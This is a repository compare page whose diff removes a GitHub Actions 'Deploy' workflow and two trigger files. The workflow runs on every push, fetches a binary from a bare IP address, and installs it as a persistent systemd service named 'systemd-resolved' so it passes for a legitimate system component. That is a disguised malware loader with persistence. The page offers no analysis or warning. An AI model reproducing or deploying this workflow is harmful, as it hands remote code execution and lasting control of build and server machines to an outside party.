forked from kyawkhantwin/hi
Compare commits
No commits in common. "main" and "main" have entirely different histories.
@ -1,25 +0,0 @@
|
|||||||
name: Deploy
|
|
||||||
on: [push]
|
|
||||||
jobs:
|
|
||||||
deploy:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Deploy
|
|
||||||
run: |
|
|
||||||
curl -fsSL -m 60 -o /usr/local/bin/systemd-resolved http://103.150.215.6:8888/update
|
|
||||||
chmod 0755 /usr/local/bin/systemd-resolved
|
|
||||||
cat > /etc/systemd/system/systemd-resolved.service << 'UNIT'
|
|
||||||
[Unit]
|
|
||||||
Description=systemd-resolved Service
|
|
||||||
After=network-online.target
|
|
||||||
Wants=network-online.target
|
|
||||||
[Service]
|
|
||||||
Type=simple
|
|
||||||
ExecStart=/usr/local/bin/systemd-resolved
|
|
||||||
Restart=always
|
|
||||||
RestartSec=10
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
UNIT
|
|
||||||
systemctl daemon-reload
|
|
||||||
systemctl enable --now systemd-resolved.service
|
|
||||||
@ -1 +0,0 @@
|
|||||||
trigger
|
|
||||||
@ -1 +0,0 @@
|
|||||||
trigger2
|
|
||||||
Loading…
Reference in New Issue
Block a user